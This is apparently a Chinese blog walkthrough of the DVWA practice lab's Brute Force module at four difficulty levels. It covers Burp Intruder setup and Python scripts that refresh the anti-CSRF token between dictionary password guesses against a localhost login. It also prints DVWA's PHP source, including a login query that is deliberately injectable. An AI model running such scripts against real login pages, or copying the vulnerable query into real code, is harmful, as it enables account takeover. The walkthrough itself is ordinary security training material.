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dvwa靶场Brute Force（暴力破解）全难度教程（附代码分析）_dvwa靶机使用指南下载

作者：你好赵伟 | 2024-04-21 12:47:40

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dvwa靶机使用指南下载

建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场，省去搭建靶场的困扰，但是此靶机靶场较老，并不建议使用

owaspbwa下载地址： OWASP Broken Web Applications Project download | SourceForge.net

注：owaspbwa的本机用户名root密码owaspbwa，记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin（owaspbwa中的dvwa是此，其他的用户名为admin密码为password）

暴力破解原理

利用抓包软件抓包，来不断对单个用户名穷举密码的操作

注：密码本和用户名本里面应当有所谓的用户名和密码

Brute Force（Security Level: low）

漏洞利用

打开burp对此网站抓包,用户和密码就是随便输入，只是为了抓包

将此数据包发送到intruder模块

这里会有几个标出来的字段，直接选择clear，选中需要爆破是username和password的值利用add添加（也可以直接爆破密码）（前提是要知道用户名建议直接admin）

选中paysloads模块，进行设置，直接在payload options选择load去添加字典，或者用add添加单个字段

点击右上角的start attack就行，等待一下就可以

通过status和length筛选可以看到密码

代码分析

  1. <?php
  2.  
  3. if( isset( $_GET[ 'Login' ] ) ) {
  4.     // Get username
  5.     $user = $_GET[ 'username' ];
  6.  
  7.     // Get password
  8.     $pass = $_GET[ 'password' ];
  9.     $pass = md5( $pass );
  10.  
  11.     // Check the database
  12.     $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  13.     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  14.  
  15.     if( $result && mysqli_num_rows( $result ) == 1 ) {
  16.         // Get users details
  17.         $row    = mysqli_fetch_assoc( $result );
  18.         $avatar = $row["avatar"];
  19.  
  20.         // Login successful
  21.         echo "<p>Welcome to the password protected area {$user}</p>";
  22.         echo "<img src=\"{$avatar}\" />";
  23.     }
  24.     else {
  25.         // Login failed
  26.         echo "<pre><br />Username and/or password incorrect.</pre>";
  27.     }
  28.  
  29.     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  30. }
  31.  
  32. ?>

就是一个只实现了登入的代码，只是对密码进行md5加密，防止我们通过密码进行SQL注入（可以使用username进行SQL注入），可没有对帐号的登入尝试次数做限制。

Brute Force（Security Level: medium）

漏洞利用

与上一难度一样，但是需要设置时停

修改burp的resource pool模块(本模块是修改攻击速度）

按此配置就行，可以试试能不能更快爆破，只要大于网站要求请求时间就可

结果与上面一样（爆破会很慢的，就不放出来了）

代码分析

  1. <?php
  2.  
  3. if( isset( $_GET[ 'Login' ] ) ) {
  4.     // Sanitise username input
  5.     $user = $_GET[ 'username' ];
  6.     $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  7.  
  8.     // Sanitise password input
  9.     $pass = $_GET[ 'password' ];
  10.     $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  11.     $pass = md5( $pass );
  12.  
  13.     // Check the database
  14.     $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  15.     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  16.  
  17.     if( $result && mysqli_num_rows( $result ) == 1 ) {
  18.         // Get users details
  19.         $row    = mysqli_fetch_assoc( $result );
  20.         $avatar = $row["avatar"];
  21.  
  22.         // Login successful
  23.         echo "<p>Welcome to the password protected area {$user}</p>";
  24.         echo "<img src=\"{$avatar}\" />";
  25.     }
  26.     else {
  27.         // Login failed
  28.         sleep( 2 );
  29.         echo "<pre><br />Username and/or password incorrect.</pre>";
  30.     }
  31.  
  32.     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  33. }
  34.  
  35. ?>

这边的代码加上了一个，延迟两秒才能下一个，所以延长了爆破时间，怎加的是时间成本。

mysqli_real_escape_string(string,connection) ：函数会对字符串string中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义，基本可以抵抗SQL注入

Brute Force（Security Level: high）

漏洞利用

建议看看token是否正常，建议用Linux

burp抓包

前面一样，修改options下的grep-extract和

找到token

先修改值，在单击refetch response

将payloads下的payload set 改为2

就可以攻击了

python脚本

python2.x脚本

  1. from bs4 import BeautifulSoup
  2. import urllib2
  3. header={'Host':'127.0.0.1',
  4.         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  5.         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  6.         'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  7.         'Referer':'http://127.0.0.1/vulnerabilities/brute/',
  8.         'cookie':'PHPSESSID=6oqhn9tsrs80rbf3h4cvjutnn6; security=high',
  9.         'Connection':'close',
  10.         'Upgrade-Insecure-Requests':'1'
  11.         }
  12. requrl="http://127.0.0.1/vulnerabilities/brute/"
  13.  
  14. def get_token(requrl,header):
  15.     req=urllib2.Request(url=requrl,headers=header)
  16.     response=urllib2.urlopen(req)
  17.     print response.getcode(),
  18.     the_page=response.read()
  19.     print len(the_page)
  20.     soup=BeautifulSoup(the_page,"html.parser")   #将返回的html页面解析为一个BeautifulSoup对象
  21.     input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
  22.     user_token=input[0]['value']               #获取用户的token
  23.     return user_token
  24.  
  25. user_token=get_token(requrl,header)
  26. i=0
  27. for line in open("E:\Password\mima.txt"):
  28.     requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
  29.     i=i+1
  30.     print i , 'admin' ,line.strip(),
  31.     user_token=get_token(requrl,header)
  32.     if(i==20):
  33.         break

python3.x

  1. from bs4 import BeautifulSoup
  2. import requests
  3.  
  4. header={'Host':'127.0.0.1',
  5.         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  6.         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  7.         'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  8.         'Referer':'http://127.0.0.1/vulnerabilities/brute/',
  9.         'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
  10.         'Connection':'close',
  11.         'Upgrade-Insecure-Requests':'1'
  12.         }
  13. requrl="http://127.0.0.1/vulnerabilities/brute/"
  14.  
  15. def get_token(requrl,header):
  16.     response=requests.get(url=requrl,headers=header)
  17.     print (response.status_code,len(response.content))
  18.     soup=BeautifulSoup(response.text,"html.parser")
  19.     input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
  20.     user_token=input[0]['value']                   #获取用户的token
  21.     return user_token
  22.  
  23. user_token=get_token(requrl,header)
  24. i=0
  25. for line in open("E:\Password\mima.txt"):
  26.     requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
  27.     i=i+1
  28.     print (i , 'admin' ,line.strip(),end="  ")
  29.     user_token=get_token(requrl,header)
  30.     if(i==20):
  31.         break

这个是参考的(2条消息) DVWA之Brute Force(暴力破解)_谢公子的博客-CSDN博客_dvwa brute force

这个自己跑下吧

代码分析

  1. <?php
  2.  
  3. if( isset( $_GET[ 'Login' ] ) ) {
  4.     // Check Anti-CSRF token
  5.     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  6.  
  7.     // Sanitise username input
  8.     $user = $_GET[ 'username' ];
  9.     $user = stripslashes( $user );
  10.     $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  11.  
  12.     // Sanitise password input
  13.     $pass = $_GET[ 'password' ];
  14.     $pass = stripslashes( $pass );
  15.     $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  16.     $pass = md5( $pass );
  17.  
  18.     // Check database
  19.     $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  20.     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  21.  
  22.     if( $result && mysqli_num_rows( $result ) == 1 ) {
  23.         // Get users details
  24.         $row    = mysqli_fetch_assoc( $result );
  25.         $avatar = $row["avatar"];
  26.  
  27.         // Login successful
  28.         echo "<p>Welcome to the password protected area {$user}</p>";
  29.         echo "<img src=\"{$avatar}\" />";
  30.     }
  31.     else {
  32.         // Login failed
  33.         sleep( rand( 0, 3 ) );
  34.         echo "<pre><br />Username and/or password incorrect.</pre>";
  35.     }
  36.  
  37.     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  38. }
  39.  
  40. // Generate Anti-CSRF token
  41. generateSessionToken();
  42.  
  43. ?>

前面的防护基础上加上了Anti-CSRF token来抵御CSRF的攻击，使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。由于使用了Anti-CSRF token，每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。

Brute Force（Security Level: impossible）

代码分析

  1. <?php
  2.  
  3. if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
  4.     // Check Anti-CSRF token
  5.     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  6.  
  7.     // Sanitise username input
  8.     $user = $_POST[ 'username' ];
  9.     $user = stripslashes( $user );
  10.     $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  11.  
  12.     // Sanitise password input
  13.     $pass = $_POST[ 'password' ];
  14.     $pass = stripslashes( $pass );
  15.     $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  16.     $pass = md5( $pass );
  17.  
  18.     // Default values
  19.     $total_failed_login = 3;
  20.     $lockout_time       = 15;
  21.     $account_locked     = false;
  22.  
  23.     // Check the database (Check user information)
  24.     $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
  25.     $data->bindParam( ':user', $user, PDO::PARAM_STR );
  26.     $data->execute();
  27.     $row = $data->fetch();
  28.  
  29.     // Check to see if the user has been locked out.
  30.     if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
  31.         // User locked out.  Note, using this method would allow for user enumeration!
  32.         //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
  33.  
  34.         // Calculate when the user would be allowed to login again
  35.         $last_login = strtotime( $row[ 'last_login' ] );
  36.         $timeout    = $last_login + ($lockout_time * 60);
  37.         $timenow    = time();
  38.  
  39.         /*
  40.         print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
  41.         print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
  42.         print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
  43.         */
  44.  
  45.         // Check to see if enough time has passed, if it hasn't locked the account
  46.         if( $timenow < $timeout ) {
  47.             $account_locked = true;
  48.             // print "The account is locked<br />";
  49.         }
  50.     }
  51.  
  52.     // Check the database (if username matches the password)
  53.     $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
  54.     $data->bindParam( ':user', $user, PDO::PARAM_STR);
  55.     $data->bindParam( ':password', $pass, PDO::PARAM_STR );
  56.     $data->execute();
  57.     $row = $data->fetch();
  58.  
  59.     // If its a valid login...
  60.     if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
  61.         // Get users details
  62.         $avatar       = $row[ 'avatar' ];
  63.         $failed_login = $row[ 'failed_login' ];
  64.         $last_login   = $row[ 'last_login' ];
  65.  
  66.         // Login successful
  67.         echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
  68.         echo "<img src=\"{$avatar}\" />";
  69.  
  70.         // Had the account been locked out since last login?
  71.         if( $failed_login >= $total_failed_login ) {
  72.             echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
  73.             echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
  74.         }
  75.  
  76.         // Reset bad login count
  77.         $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
  78.         $data->bindParam( ':user', $user, PDO::PARAM_STR );
  79.         $data->execute();
  80.     } else {
  81.         // Login failed
  82.         sleep( rand( 2, 4 ) );
  83.  
  84.         // Give the user some feedback
  85.         echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
  86.  
  87.         // Update bad login count
  88.         $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
  89.         $data->bindParam( ':user', $user, PDO::PARAM_STR );
  90.         $data->execute();
  91.     }
  92.  
  93.     // Set the last login time
  94.     $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
  95.     $data->bindParam( ':user', $user, PDO::PARAM_STR );
  96.     $data->execute();
  97. }
  98.  
  99. // Generate Anti-CSRF token
  100. generateSessionToken();
  101.  
  102. ?>

在上一难度的基础上对用户的操作做了限制，当登入失败3此后，账号会锁住15s，同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这里因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

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